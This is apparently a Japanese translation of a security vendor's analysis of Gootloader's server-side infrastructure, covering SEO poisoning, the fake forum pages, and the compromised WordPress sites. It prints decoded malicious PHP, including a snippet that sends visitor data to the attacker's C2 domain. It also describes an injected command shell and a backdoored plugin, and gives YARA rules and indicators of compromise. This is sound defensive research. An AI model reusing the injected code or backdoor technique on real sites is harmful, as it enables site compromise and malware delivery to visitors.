脅威の調査

Gootloader のすべて

オープンソースインテリジェンスにより、(法的問題を起こすことなく) 悪質な SEO 主導マルウェアのサーバー側コードが明らかに

** 本記事は、Gootloader inside out の翻訳です。最新の情報は英語記事をご覧ください。**

Gootloader マルウェアファミリは、特徴的なソーシャルエンジニアリングの手法を用いてコンピューターを感染させます。このマルウェアの作成者は、Google の検索結果を乗っ取り、侵害した正規の WordPress Web サイトにアクセスするようにユーザーを誘導します。これらのサイトにアクセスした訪問者には、オンライン掲示板を模した Web サイトが表示され、その「掲示板」には標的が答えを探していた質問を偽の訪問者が偽のサイト管理者に投げかける、という「会話」が表示されますが、この「会話」はマルウェアにリンクされています。

感染プロセスの大部分は、侵害された WordPress サーバーと、ソフォスが以前「母船」と名付けた別のサーバー上で実行されるコード主導で遂行されます。母船サーバーは、まさに訪問者が聞きたい質問に答えているように見えるページを動的に生成します。Gootloader のオペレーターは、侵害された WordPress サイトにわずかな改変を加え、母船から新たにコンテンツを読み込むように設定します。

このプロセスはあらゆる側面が難読化されているため、侵害された WordPress ページの所有者でさえしばしば、自らが管理するサイトの改変箇所を特定できなかったり、ページにアクセスした際に Gootloader コードが実行されるトリガーになり得ます。同時に、影響を受けた WordPress サイトのいずれかを管理していない限り、このコードを入手して調査することは非常に困難です。Gootloader を構成する改変された WordPress データベースエントリと PHP スクリプトは、(サーバー自体への物理的アクセスまたはシェルアクセスを除けば) セキュリティ研究者が通常アクセスできない侵害されたサーバー上にのみ存在します。

Sophos X-Ops はこれまでにも Gootloader のさまざまな側面について報告してきました。しかし今回、Sophos X-Ops は、インターネット上のオープンソースツールに公開されている攻撃者 (および他のセキュリティ研究者) が残したわずかな手がかりに基づいて、Gootloader のサーバー側オペレーションがどのように機能しているかを再現しました。私たちは、この集合知を本記事にまとめました。

本記事では、悪意のあるサーバー側オペレーション (SEO) の再現をどのように実現したか、最初の侵害された Web サイトのランディングページコードがどのように訪問者を検証し、その一部を第 2 の Web サイトにリダイレクトさせるか、Gootloader のオペレーターが第 2 の Web サイトを使用して、リアルな外観のオンライン掲示板を動的に生成する方法、多段階の感染プロセスがどのように機能するか、どの訪問者が攻撃を受けてどの訪問者が Google のホームページに戻されるかを制御するために、Gootloader のオペレーターの制御下にある「母船」サーバーによって、これらのパーツがどのように編成されているかを説明します。

Gootloader の改変された SEO

A list of Gootloader JScript filenames, which correspond to the search query that led victims to download them
Gootloader の使用する JScript ファイルのリスト。訪問者の検索クエリに対応しており、ダウンロードを促します。

Gootloader はおよそ 8 年間、ほぼ同一の悪意のある SEO 手法を用いてきました。過去に脅威ハンティングを行った際、私たちは独自のテレメトリを使用し、Gootloader が悪意のある JScript ファイルを配信するのに使用したキーフレーズを発見しました。Gootloader は、これら第一段階のファイルを、標的をおびき寄せた検索フレーズと一致するように名付けます。

これらの第一段階のダウンローダーの新しいファイル名を発見することは、Gootloader のオペレーターが誘い文句として用いている新たなフレーズを発見することでもあります。Gootloader の作成者は異常なほど執拗にコードを難読化しています。にもかかわらず、これらの更新されたペイロードを私たちが確認できたのは、VirusTotal のライブハンティングおよびレトロハンティングサービスによるものでした。私たちは、以下の Yara ルールのような脅威ハンティングクエリを作成する必要がありました。

rule gootkit_js_stage1
{
   strings:
          $a1 = /function .{4,60}{return .{1,20} % .{0,8}\(.{1,20}\+.{1,20}\);}/
          $a2 = /function [\w]{1,14}\(.{1,14},.{1,50}\) {return .{1,14}\.substr\(.{1,10},.{1,10}\);}/
          $a3 = /function [\w]{1,14}\(.{1,50}\) {return .{1,14}\.length;.{1,4}}/
          $a4 = /function [\w]{1,14}\(.{0,40}\){.{0,40};while \([\w]{1,20} < [23][\d]{3}\) {/
          $b1 = /;WScript\.Sleep\([\d]{4,10}\);/
          $b2 = /function [\w]{1,14}\(.{0,40}\) {.{0,40};while\([\w]{1,20}<\([\w]{1,14}\*[\d]{1,8}\)\){[\w]{1,14}\+\+}}/
   condition:
          all of ($a*) and any of ($b*)
}

私たちが調査した時点ではこのルールは有効でしたが、その後 Gootloader のオペレーターは JScript を修正し、この検索を無効化しました。このような変更を常に把握するためには、難読化された JScript コードの新バージョンを分析し続ける必要がありました。

難読化の一環として、攻撃者はコードを分割します。初歩的な機能はすべて異なる関数に実装されています。最初はランダムに生成された変数が使われていましたが、後に実際の単語を用いた変数名に切り替わります。

上の例では、$a1、$a2、$a3 は復号ツールで初歩的なタスクを実行する関数に相当します。

$a1 は数字の偶奇性を決定する関数に相当し、解読すると以下の通りです。

function dance(expect,support,thin,foot,had){return expect % (magnet+magnet);}

$a2 は、文字列から部分文字列を返す関数に相当し、解読すると以下の通りです。

function supply(spoke,seed,your,build,charge,carry,sat) {return spoke.substr(seed,your);}

$a3 は、文字列の長さを返す関数で、解読すると以下の通りです。

function verb(consonant) {return consonant.length; }

$a4 はメインデコーダーのループを実装しています。エンコードされた部分の長さ (2000 バイトから 4000 バイトの間) が格納され、解読すると以下の通りです。

function wave(down){against=kill;hole="";while (against < 2146) {spell=cause(down,against);hole=cool(hole,spell,against); against++; }return hole;}

このコードには、動的解析をしにくくする長い遅延が設けられており、コードを適切に実行するのに必要な時間は数時間にも及んでいました。

当初、Gootloader は WScript.Sleep 関数 ($b1 に相当) を用いて遅延を実装していました。Gootloader の作成者はこの機能を徐々に認識されにくい実装に置き換えました。以下のような、非常に長い時間をかけてカウンターをインクリメントする関数 ($b2 に相当) がその一例です。

function string2(evening6) {
        sky0=25;
        while(sky0<(evening6*4921)){
                sky0++
        }
}

コードは高度に難読化されていたものの、コードの構造を知ることで、上記の一見簡素な Yara ルールを作成できました。このルールにより、何千件もの第一段階のダウンローダースクリプトを、誤検出ゼロで補足するのに成功しました。

オリジナルのファイル名がわかれば、検索ワードが判明します。これらの情報から、ランディングページを特定しました。Gootloader のオペレーターは、結果の上位 (下の例のように、最上位のこともあります) に表示されるように、検索結果と侵害されたランディングサイトを操作することに成功しました。

Gootloader has poisoned search results in multiple languages, including German, French, and Korean
Gootloader はドイツ語、フランス語、韓国語を含む複数の言語で検索結果を汚染しています。

なぜ、悪意のあるページが検索結果の上位に表示されるのでしょうか。

私たちは、検索ランディングページの HTML ソースを検査することで、悪意のある SEO がいかに効果的であったかを確認しました。

HTML ソースにはサーバー ID という名前の隠し要素があり、コード内で何度も使われています (以下の例では「a47ec48」)。サーバー ID は「a」から始まる 6 文字 (16 進数) で構成されます。

<div id="a47ec48 ">
...
<div><script type="text/javascript"> document.getElementById("a47ec48 ").style.display="none"; </script>
Source of the Gootkit/Gootloader landing pages reveal a number of different search terms and phrases the threat actors wanted search engines to index. The linked subpages (selected with green) don't actually exist. The injected WordPress code defines a few hooks, one of them is for non-existing pages. This will serve the fake forum discussion, when the victim clicks on the search result
Gootloader のランディングページのソースから、攻撃者が検索エンジンにインデックスさせようとしたさまざまな検索用語やフレーズが明らかになりました。リンクされたサブページ (緑で表示) は実際には存在しません。注入された WordPress のコードはいくつかのフックを定義しており、そのうちの 1 つは存在しないページのためのものです。このフックは、標的が検索結果をクリックすると、偽のフォーラムでのやり取りを表示します。

隠し要素には、リンク (緑で表示) および対応するターゲティングされた検索語 (茶色で表示) が存在します。

この隠し要素は、生身の Web ページ訪問者からは見えません。しかし、検索エンジンのクローラーはこれらの要素も参照して処理を実行します。そのため、検索エンジンを騙して、あたかもその Web サイトが仕込まれた検索語句に関連するコンテンツを提供しているかのように扱わせることで、検索結果の上位に表示させます。

侵害されたランディングページのコード

セキュリティベンダーの Sucuri が以前の世代の Gootloader についてブログ記事を公開した際には、以下のスクリーンショットが掲載されていました。

 A screenshot of the source code from a Gootkit/Goodloader landing page. Image courtesy of Sucuri Research.
Gootkit/Goodloader ランディングページのソースコードのスクリーンショット。画像の出典: Sucuri Research

Sucuri による報告 (およびスクリーンショット) は、以下 3 つの主要な文字列を明らかにしました。

  • リクエスト: $_GET[”a55d837’
  • 悪意のある Web ドメイン名: ‘my-game[.]biz’
  • (Sucuri のブログの別のスクリーンショットに示されている) SQL クエリ: ‘SELECT * FROM backupdb_’

Google でコードフラグメント $_GET[”a55d837’ を検索したところ、オンラインデコーダーページに辿り着きました。そのページでは、別の研究者によるクエリの結果 (現在は削除済み) から、悪意のある Web ページで使用されている PHP コードのエンコードされたバージョンが明らかになりました。

function qwc1() {
    global $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode('.', $_SERVER["\x52\105\x4d\117\x54\105\x5f\101\x44\104\x52"]);
    if (sizeof($qwc2) == 4) {
        if ($wpdb - > get_var("\x53\105\x4c\105\x43\124\x20\105\x58\111\x53\124\x53\40\x28\123\x45\114\x45\103\x54\40\x2a\40\x46\122\x4f\115\x20\142\x61\143\x6b\165\x70\144\x62\137".$table_prefix.
                "\x6c\163\x74\141\x74\40\x57\110\x45\122\x45\40\x77\160\x20\75\x20\47".$qwc2[0].
                '|'.$qwc2[1].
                '|'.$qwc2[2].
                "\x27\51\x3b") == 1) {

このスクリプトをデコードすると以下のようになります。

function qwc1() {
    global $wpdb, $table_prefix, $qwc1;
    $qwc2 = explode('.', $_SERVER["REMOTE_ADDR"]);
    if (sizeof($qwc2) == 4) {
        if ($wpdb - > get_var("SELECT EXISTS (SELECT * FROM backupdb_".$table_prefix.
                "lstat WHERE wp = '".$qwc2[0].
                '|'.$qwc2[1].
                '|'.$qwc2[2].
                "');") == 1) {

このコードがどのようにしてこの Web サイトに掲載されたのかは定かではありませんが、インターネットに忘却という概念はありません。検索エンジンはこの解析結果を発見し、インデックスしました。その結果、侵害されたランディングページに注入されたコードがどのようなものなのかが初めて明らかになりました。

(上記のリンク先の分析も、その後 malwaredecoder.com で発見した別のページも、後にそれぞれのサイト所有者によって削除されました。これらのようなページの瞬間的分析を反映した結果は短期間しか利用できません。再度利用したい時には消失していることも多いため、これらのサイトからソースを引用したい場合は、ページのオフラインコピーを取っておく必要があります。)

この時点では、サイトがどのように侵害されているのか正確にはわかりませんでしたが、報告書から、悪意のある PHP コードが何らかの方法で WordPress のインストールに挿入されていることがわかりました。

VirusTotal で「SELECT * FROM backupdb_」と検索すると、侵害されたサーバー上に置かれた、エラーメッセージを含むファイルがいくつか確認できます。

<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [Table 'interfree.backupdb_wp_lstat' doesn't exist]<br /><code>SELECT EXISTS (SELECT * FROM backupdb_wp_lstat WHERE wp = '117|50|2');</code></p></div><!DOCTYPE html>

犯人は、おそらく backupdb_wp_lstat データベースを使用しており、クリーンアップ段階でサーバーから削除したと考えられます。私たちは VirusTotal で (「content:”backupdb_wp_lstat”」と検索して) このコンテンツを探し、データベースのダンプ発見を試みました。このようなルールを設定し、他の貴重なファイルやデータを見つけることができる追加のレトロハンティングを行うことは、常に良い考えです。

幸運にも、マルウェアの公開リポジトリで侵害されたサーバーから WordPress データベースの SQL ダンプを含むアーカイブファイルを発見するこおができました。

The WordPress database dump included this table that contains a set of the first three octets of IP addresses, a block list of IP ranges that cannot revisit the Gootloader website on the same day
WordPress データベースのダンプには、IP アドレスの最初の 3 オクテットを示したテーブルが含まれており、同じ日に Gootloader の Web サイトを再訪できない、ブロックされる IP レンジのリストとなっていました。

ダンプされたデータベースには backupdb_wp_lstat というテーブルが含まれています。後の分析で、このテーブルには悪意のある Web サイトが再度の訪問を防ぐために使用する IP アドレスのブロックリストが含まれていることが判明しました。

難読化された PHP コードは、データベースのダンプからも確認できます。

A block of base64-encoded data stored as a variable named $pposte in a WordPress database
WordPress データベースの $pposte という変数に格納されている、base64 エンコードされたデータのブロック。

j$k..j$k マーカーを含む、挿入された SEO 改変コンテンツも確認されました

Malicious SEO content phrases embedded in a WordPress database table, linking the site to an Excel spreadsheet converter search query
悪意のある SEO コンテンツを示す文字列が WordPress のデータベーステーブルに埋め込まれ、Excel スプレッドシートのコンバーター検索クエリにリンクしています。

悪意のあるランディングページの [Descriptions] プロパティからこの識別可能な文字列を探す場合には、正規表現「/j\$k([0-9]{1,10})j\$k/」を用いてください。

The "place marker" string appears in the OpenGraph metadata SEO headers of a Gootkit/Gootloader-modified web page
Gootloader で変更された Web ページの OpenGraph メタデータ SEO ヘッダーには「プレースマーカー」文字列が使われています。

「プレースマーカー」は、Gootloader のページレンダラースクリプトへのリンクが挿入される場所のプレースホルダーとして機能します。Gootloader ページが表示される際には、ページソースからこのマーカーが除外されます。

しかし、SQL データベースのダンプから抽出されたコードは、Sucuri のブログで示されていたものと完全に同一ではありませんでした。C2 サーバーである my-game[.]biz を軸に、さらに多くのサンプルを探し続けたところ、そのサーバーを参照する PHP ファイルがいくつか見つかりました。

Files that contain references to the Gootloader "mothership" website (screenshot courtesy of VirusTotal)
Gootloader の「母船」 Web サイトへの参照を含むファイル (スクリーンショットの出典: VirusTotal)

「commented_functions.php」という投稿名は信頼に足るように見えます。実際、このファイルはおそらくは研究者の仕事であり、侵害された WordPress インストールの PHP ソースコードを分析したものであることが判明しました。詳細に文書化されていたおかげで、解析の時間が節約されました (私たちが所持していないコンポーネントも含まれていたため、その助けにもなりました)。

Commented text, preceded with double slashes, documents the Gootkit characteristics of modified web pages
ダブルスラッシュで始まるコメント付き文字列は、変更された Web ページの Gootkit の特徴を文書化したものです。

上記の「html」コメントで参照された base64 文字列を使って VirusTotal を検索したところ、(比較的) 最近アップロードされた SQL ダンプにたどり着きました。

a WordPress database dump in VirusTotal
VirusTotal の WordPress データベースダンプ

ダンプファイルには、以前に参照された base64 blob が含まれていました。

 A SQL dump from a compromised WordPress installation contains base64-encoded elements of the Gootkit/Gootloader modifications
侵害された WordPress インストールからの SQL ダンプには、Gootkit/Gootloader による改変を反映した、base64 エンコードされた文字列が含まれています

デコードすると、Sucuri が以前公開したものと同じコードが出力されます。

The decoded base64 data from the WordPress database reveals the PHP script that handles decoding the malicious content for a site visitor
WordPress データベースからデコードされた base64 データから、サイト訪問者のために悪意のあるコンテンツをデコードする PHP スクリプトが明らかになりました。

このスクリプトが確認できたことで、この悪意のあるコードの出所について、より確信を得られました。また、Gootloader が侵害された WordPress データベースに保存しているテーブルも特定しました。WordPress データベースのダンプとオンラインデコーダーサイトの PHP コードを特定したことで、私たちは侵害されたランディングサイトにホストされている、悪意のあるコンテンツの完全なコピーを入手しました。

ランディングページのコードの中身

ランディングページのコードには単純な PHP コマンドシェルが含まれており、Gootloader の攻撃者はこのシェルを使用して侵害されたページへのアクセスを維持できます。

変数 $pposte には、実行されるパラメーター名が格納されます。侵害された Web サイトがこの文字列を含む HTTPS POST を受信すると、ページ上のコードは受信した base64 エンコードされたコマンドをデコードして実行し、攻撃者がサーバーの制御を維持するために使用できる素のコマンドシェルに変わります。

A simple command shell Gootkit inserts into the PHP running in a WordPress site the threat actors have comrpomised
攻撃者が侵害した WordPress サイトで実行されている PHP にシンプルなコマンドシェルである Gootloader が挿入されます

コード内の他の箇所では、スクリプトは WordPress イベント用のフィルタを定義し、定義済みの条件に基づいて関数の実行をトリガーします。

たとえば、攻撃者が侵害された WordPress 環境をセットアップすると、以下の関数が実行されます。呼び出されたコード (「qvc5」として参照) は、backupdb_wp_lstat データベーステーブルを初期化します。

    add_action("wp", "qvc5");

qvc5() 関数のスニペットは、Gootloader が使用するバックエンドデータベースを初期化します。

if ($table_prefix < > "backupdb_".$qvc4) {
    $table_prefix = "backupdb_".$qvc4;
    wp_cache_flush();
    $qvc5 = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST);
    $qvc5 - > set_prefix($table_prefix);

悪意のあるイベントハンドラは、要求された Web ページを準備する際、「母船」 (Gootloader の運営者が侵害された「ブログ艦隊」を集中管理するために使用する Web サイトに筆者が付けた名前) へのリクエストを構築します。これらの Web ページは、初期リクエストの以下のパラメーターを、すべて base64 エンコードされた形式で母船に送信します。

  • a: 一意のサーバー ID
  • b: 不審な訪問者の IP アドレス
  • c: ユーザーエージェント文字列
  • d: リファラー文字列
if (isset($_GET[$qwc4])) {
   $request = @wp_remote_retrieve_body(@wp_remote_get("http://my-game.biz/index.php?a=".base64_encode($_GET[$qwc4]).
   '&b='.base64_encode($_SERVER["REMOTE_ADDR"]).
    '&c='.base64_encode($_SERVER["HTTP_USER_AGENT"]).
    '&d='.base64_encode(wp_get_referer()), array("timeout" => 120)))

Gootloader の動作上最大の問題の 1 つは、潜在的な標的が 24 時間に 1 回しか Web サイトを訪問できないことです。この動作は、発信元 IP アドレス (標的 PC のアドレス、上記の変数「b」) をブロックリストに追加することによって行われます。サーバーはさらに、IP アドレスの範囲をジオフェンスし、Gootloader の攻撃者が関心を持つ特定の国からのリクエストのみを許可します。 リファラー文字列 (上記の変数「d」) には、元の検索ワードが含まれています。

結果として、クエリは以下のようになります。

http://my-game.biz/index.php?a=YWFkZTVlZQ&b=ODUuMjE0LjEzMi4xMTc&c=TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzg4LjAuNDMyNC4xNTAgU2FmYXJpLzUzNy4zNg&d=Z29vZ2xlLz9xPWNpc2NvX3dwYV9hZ3JlZW1lbnQ

(この例では、「&d=」以下のリファラー文字列は、「google/?q=cisco_wpa_agreement」を base64 でエンコードした値です)

サーバーの応答が偽のフォーラムページのレンダラーコードであることは以下で説明します。

母船が偽のフォーラムページを送信

母船の応答は 2 つの部分で構成されます。1 つは HTML ヘッダー要素を含む部分、もう 1 つはページ本文を含む部分です。この 2 つの部分はコード中で <sleep> タグによって区切られています。

ヘッダー部分には、パイプ (“|”) 文字で区切られた複数の要素が含まれています。ランディングページのコードは母船からの応答を使って HTML コンテンツを収集します。

The portion of the Gootkit code that collects the HTML content of the fake page it will later draw over the top of the compromised website
Gootkit コードのうち、後に侵害された Web サイトの上に描画される偽ページの HTML コンテンツを収集する部分。

このスクリプトは、リクエストが発生した /24 IP アドレスの範囲全体を 24 時間のブロックリストに追加します。発信元のコンピューターも、IP アドレスに同じ最初の 3 組の数字を持つ他のコンピューターも、少なくとも 1 日はページを再取得できません。(SQL データベースのダンプで確認済です。)

 The Gootkit code blocks repeat visitors by adding not only the visitor's IP address range to a block list, but the entire class C IPv4 address range on either side of the visitor's address, just for good measure
Gootkit のコードは、訪問者の IP アドレス範囲だけでなく、念のため訪問者のアドレスの両側にあるクラス C の IPv4 アドレス範囲全体をブロックリストに追加することによって、再度の訪問者をブロックします。

Gootloader が偽フォーラムページをレンダリングする方法

ブロックリストにない IP アドレスからリクエストが来た場合、侵害された WordPress データベース内の悪意のあるコードが実行され、訪問者のブラウザに偽の掲示板コンテンツ (通常、単に「Questions And Answers」と題されています) を配信します。

The Gootkit/Gootloader fake forum page, featuring a "question" and an "answer" that links to the Gootloader JScript first-stage payload
Gootloader の偽フォーラムのページには、Gootloader Jscript の第一段階のペイロードにリンクする「質問」と「回答」が表示されます。

侵害されたランディングページのソースコードで確認できる、悪意のあるコンテンツは挿入された単純な JavaScript タグだけです。以下がその一例です。

https://powerstick.com/main/?ad94610=1174868

ここでも、感染したサーバーの固有キーが、数値 (上記の例では 1174868) に割り当てられたパラメーターとして使用されます。

The unique key is linked in a Javascript code snippet embedded in the compromised WordPress server page.
T固有キーは、侵害された WordPress サーバーページに埋め込まれた Javascript コードスニペットにリンクされています。

この <script> タグは、WordPress のデータベースに保存されているコードからランディングページのレンダラー機能を呼び出します。

HTTPS GET リクエストに感染した ID を含むクエリ文字列が含まれている場合、ハンドラーコードは母船にリクエストを送信し、応答をレンダリングします。

偽のランディングページの HTML ソースを取得し、その場で変更を記録する Web デバッガーを使うことで、母船から返されたコードを取得しました。

このコードはまず、HTML ページのオリジナルコンテンツを削除します。

A set of commands that deletes from view the original page content on the compromised WordPress server page the visitor lands on
訪問者に表示される、侵害された WordPress サーバーページから元のページのコンテンツを削除する一連のコマンド

さらに、ページのコンテンツを偽フォーラムの文字列に置き換えます。

The replacement content includes the text of the "Questions And Answers" fake forum page
置換されるコンテンツは、偽フォーラムページの「Q&A」に相当する文字列を含んでいます。

偽フォーラムのテキストには、第一段階の JScript ペイロードのダウンロードリンクも含まれています。

The download link points to a php script hosted on a different server. This link delivers the .js file packed into a Zip archive which comprises the first stage Gootloader payload
ダウンロードリンクは、別のサーバーでホストされている php スクリプトを指しています。このリンクは、第一段階の Gootloader ペイロードを構成する Zip アーカイブにパックされた .js ファイルを配信します。

その結果、Google のリファラー文字列から渡された検索クエリと同じ「質問」と、管理者という名前のユーザーアカウントからの「回答」が表示されることになります。この「回答」内では、訪問者の検索ワードが第一段階の JScript ダウンローダーにホットリンクされています。さらに、最初の「質問」をした同じ「ユーザー」から、「回答」した管理者に感謝する再度の「返信」が表示される、というブログのコメントでの会話に似せたやり取りが表示されます。

上述の会話はすべてフィクションです。Gootloader のインシデントでは、毎度このパターンが繰り返されています。

A Gootkit/Gootloader fake forum page in German. The source code of the page shows the link points to a file named down.php hosted on a completely different server than the one where the page appears. The link marked in red will connect to the server that is hosting the first-stage download JScript.
ドイツ語で書かれた Gootloader の偽フォーラムページ。ページのソースコードを見ると、リンク先はページが表示されているサーバーとはまったく別のサーバーにホストされている down.php という名前のファイルです。赤枠で囲まれたリンクは、第一段階のダウンロード JScript をホストしているサーバーに接続します。

第 1 段階のダウンローダーサイト

偽のフォーラムページは、第 1 段階のダウンロードサーバーに接続します。そのサーバーでは、PHP スクリプトが第 1 段階の JScript ダウンローダースクリプトを配信しています。

(私たちは、TLP:Red の制限のもと、セキュリティコミュニティの別の研究者 (匿名希望) からこのスクリプトのコピーを受け取りました。受け取ったスクリプトを本記事でご紹介することはできませんが、類似のサンプルを探すためにスクリプトの特徴を使用することはできます。)

サーバー側では、このファイルは大きな Base64 エンコードされたデータ塊として埋め込まれ、以下のような文字列から始まります。

<?php $a=base64_decode('ZnVuY3Rpb24...

この情報を元に、以下の Yara ルールを用いて類似のスクリプトを検索しました。

rule gootkit_stage1_dl{
   strings:
          $a = "<?php $a=base64_decode('ZnVuY3Rpb24"
    condition:
          all of them
}

その結果、スクリプトの亜種が多数得られました。これらの主な違いはダウンロード URL です。

調査したサンプルでは、5.8.18[.]7 と my-game[.]biz という 2 件の母船アドレスが確認されました。最初に調査した時点では、my-game ドメインはこの IP アドレスに解決されていました (現在は別の場所に解決されています)。奇妙なことに、侵害されたランディングページのコードはドメインにリンクし、第 1 段階の JScript ダウンローダーは IP アドレスにリンクしています。

第 1 段階のダウンロードスクリプト (down.php、join.php、about.php、index.php) は、送られてくるリクエストを母船に中継するだけです。

The source code of the PHP script that delivers the first stage Gootloader payload
第 1 段階の Gootloader ペイロードを配信する PHP スクリプトのソースコード

母船に送られたリクエストは、Zip アーカイブにパッケージされた第 1 段階のダウンローダー JScript を返します。この JScript はオリジナルのリファラー文字列を母船に渡すため、オリジナルの検索ワードを受け取ることができ、これらの検索ワードに対応するファイル名のペイロードを返答します。この動作を私たちは実際に確認しました。

Gootloader が WordPress サーバーを侵害する仕組み

初期調査の終了間際に、ホストする WordPress サーバーの初期侵害の原因と思われる重要な情報が見つかりました。より多くの情報を収集するのに合わせて、先行研究を再検討する価値があります。その時点での関連性が定かではなかった手がかりが明らかになるかもしれないからです。

この記事では、攻撃者が WordPress の uploads ディレクトリ (例: wp-content/uploads/) に改変された Hello Dolly プラグインのコピーを置き、悪意のある WordPress コンテンツのインストールを開始するという攻撃について説明しています。

HelloDolly.php は、長年にわたって WordPress のセルフホストダウンロードに含まれている純正プラグインです。どのような場合でも、比較的安全なプラグインでこのコードを変更し、侵害されたサーバーにそのまま残しておくことで、Gootloader は、警戒中の Web 管理者に侵害を通知する可能性のあるファイルシステムの改変を最小限に抑えながら、平然と操作を実行できます。

攻撃者が WordPress サイトにファイルを配置するのに利用できると考えられる方法はいくつかあります。Web サーバー認証情報のフィッシングや窃取、WordPress コンポーネントの脆弱性を利用してリモートユーザーがホストサーバー上で SQL インジェクションやコマンド実行を遂行、WordPress の管理パスワードの窃取などです。

これらの方法を通じて、以下のスクリーンショットのような HelloDolly.php スクリプトが用いられます。

Screenshot of the modified HelloDolly.php script (courtesy of the Rich Infante blog)
改変された HelloDolly.php のスクリーンショット (出典: Rich Infante ブログ)

以下の通り、VirusTotal で同種のファイルをさらに検索しました。

content:"dolly_css"

クリーンなオリジナルの HelloDolly.php ファイルをいくつか見つけた一方…

  • 2c5717200729f76b857a8a32608b72fd3c15772dfcc607bebfc3b36f8ab2a499
  • 2c3d2a55349efe8b636350b58181d930a73e0d0ede59dcaadc47d9a56dd15127

…私たちは、多くのバックドアが注入されたファイルをそれ以上の件数発見しました…

  • 03a46ad7873ddb6663377282640d45e38697e0fdc1512692bcaee3cbba1aa016
  • 1fcc418bdd7d2d40e7f70b9d636735ab760e1044bb76f8c2232bd189e2fd8be7
  • 258cb1d60a000e8e0bb6dc751b3dc14152628d9dd96454a3137d124a132a4e69
  • 5d50a7cf15561f35ed54a2e442c3dfdac1d660dc18375f7e4105f50eec443f27
  • 7bcffa722687055359c600e7a9abf5d57c9758dccf65b288ba2e6f174b43ac57
  • af50c735173326b2af2e2d2b4717590e813c67a65ba664104880dc5d6a58a029

…また、侵害された WordPress インストールの完全なコピーを含む zip ファイルもいくつか発見しました。

  • 89672c08916dd38d9d4b7f5bbf7f39f919adcaebc7f8bb1ed053cb701005499a

以下では、悪意のある HelloDolly PHP スクリプトが WordPress プラグインとしてパスの下にインストールされています。

wp-content\plugins\Hello_Dolly\HelloDolly.php
Another format of the modified HelloDolly.php script shows the unique identifier string
あるフォーマットの改変された HelloDolly.php スクリプトには、一意の識別子文字列が記されています

悪意のある PHP ファイルには、同名のミュージカル主題歌「Hello Dolly」の歌詞とともに、追加コードが記載されています。挿入されたコードは、POST リクエストの特定のパラメーターをチェックし、発見した場合、送信されたインストールコードを実行します。

A variation on the modified HelloDolly.php script
Gootloader を改変した HelloDolly.php スクリプトのバリエーション

$dolly 変数が $wp 変数にリネームされている他のバリエーションも発見しました。

研究ブログの記事では、改変プロセスを以下のようにまとめています。

A screenshot that summarizes the modification process Gootloader uses (image courtesy of the Rich Infante blog)
Gootloader が使用する改変プロセスをまとめたスクリーンショット (出典: Rich Infante ブログ)

私たちは SQL データベースのダンプからこれらのコンポーネントを発見し、攻撃者が正規の WordPress サイトを配信サーバーへと変えるための侵害に利用した方法 (の少なくとも 1 つ) として利用されたことを確信しました。

A WordPress database dump contains the same elements that the Rich Infante blog references
WordPress のデータベースダンプには、Rich Infante のブログが参照しているのと同じ要素が含まれています

母船とのドッキング

母船サーバーは、感染プロセスの初期段階を指揮する中心的な役割を果たします。このサーバーは、感染したサイトが標的のブラウザに表示する偽のフォーラムコンテンツと、第 1 段階のペイロードを提供します。

残念ながら、これらはすべて攻撃者が直接管理するサーバー上で管理されているため、含まれる可能性のあるソースコードが何であれ、研究者が入手することはできません。

Gootloader は最初に登場した2018 年以来同じドメインを使用しており、そのほとんどの期間、ドメインは限られた IP アドレスのうちのいずれかを指していました。

5.8.18[.]7

my-game[.]biz ドメインは、数年間この IP アドレスに解決されていました。悪意のあるスクリプトの多くは、この IP アドレスでホストされている URL を直接指し示し、感染に用いるコンポーネントを配信します。

既知の URL:

http://5.8.18[.]7/filezzz.php

感染の初期コンポーネントは、Gootkit と呼ばれるファイルです。これらは通常単なる PHP スクリプトで、base64 エンコードされた文字列と、そのデータをデコードしてファイル (join.php や down.php などと呼ばれます) などの変数に出力するスクリプトを含んでいます。

The encoded form of a PHP script that delivers the .js payload
js ペイロードを配信するエンコードされた PHP スクリプト

また、このスクリプトこのスクリプトなど、上述の IP アドレスを参照またはリンクする複数の Gootkit ファイルを特定しました。これらのファイルにはいずれも、コンポーネントを完全にはダウンロードできないことを示すエラーメッセージが含まれています。

A screenshot of a file uploaded to VirusTotal shows references to the IP address formerly used to host the Gootkit/Gootloader "mothership" server
VirusTotal にアップロードされたファイルのスクリーンショットには、以前 Gootkit/Gootloader の「母船」サーバーをホストするために使用されていた IP アドレスへの参照が示されています。

興味深いことに、サーバー側のダウンローダースクリプトは file_tmp_41.php という名前で、通常確認されるダウンローダースクリプトとは異なっていました。このスクリプトがテスト試行のアーティファクトであることを示しているのかもしれません。

この情報を元に (たとえば) VirusTotal で「content:”<?php $a=base64_decode(‘ZnVuY3Rpb24″」 と検索すると、さらにこちらこちらの 2 件のファイルが見つかります。そのどちらにも先述の URL が含まれています。

http[:]//5.8.18.7/filesst.php?a=$i&b=$u&c=$r&d=$h&e=$g

5.8.18[.]159

このアドレスは、my-game[.]biz が過去に解決していたものでした。私たちは、この IP アドレスに直接リンクしている別の第 1 段階の Gootkit コンポーネントを発見しました。

91.215.85[.]52

この IP も my-game[.]biz によって以前から現在まで使用されています。また、この IP アドレスにリンクしている別の第 1 段階の Gootkit スクリプトも発見しました。

my-game[.]biz

現在このサイトは空白になっていますが、Internet Archive がこのドメインの興味深い由来を明らかにしています。2014 年には、このドメインはロシアのオンラインギャンブルサイトのホストに使用されていました。2018 年以降、このページは他のコンテンツをホストしていませんが、Gootkit/Gootloader マルウェアにリンクされています。

The my-game website as it appeared in 2014, a Russian-language gambling site called "Casino Game Life"
2014 年に登場したロシア語のギャンブルサイト「Casino Game Life」に使用されていた頃の my-game Web サイト

私たちがこのドメインで唯一発見できたのは、15 年以上前の Counter-Strike クランのディレクトリだけでした。

The my-game domain that continues to host the Gootkit/Gootloader mothership originally belonged to a German team that played the game Counter-Strike competitively
Gootkit/Gootloader の母船をホストし続けている my-game ドメインは、元々はゲーム「Counter-Strike」を競技的にプレイしていたドイツのチームが所有していました

このディレクトリには、ドイツを拠点とし、#mY-GaMe というハンドルネームでプレーする「セミプロ」プレーヤーグループのホームページとして、この Web サイトが掲載されています。

Name:     #mY-GaMe
Clan-Tag (Kürzel):     #mY-GaMe`
Land (Hauptsitz des Clans):   Deutschlandweit
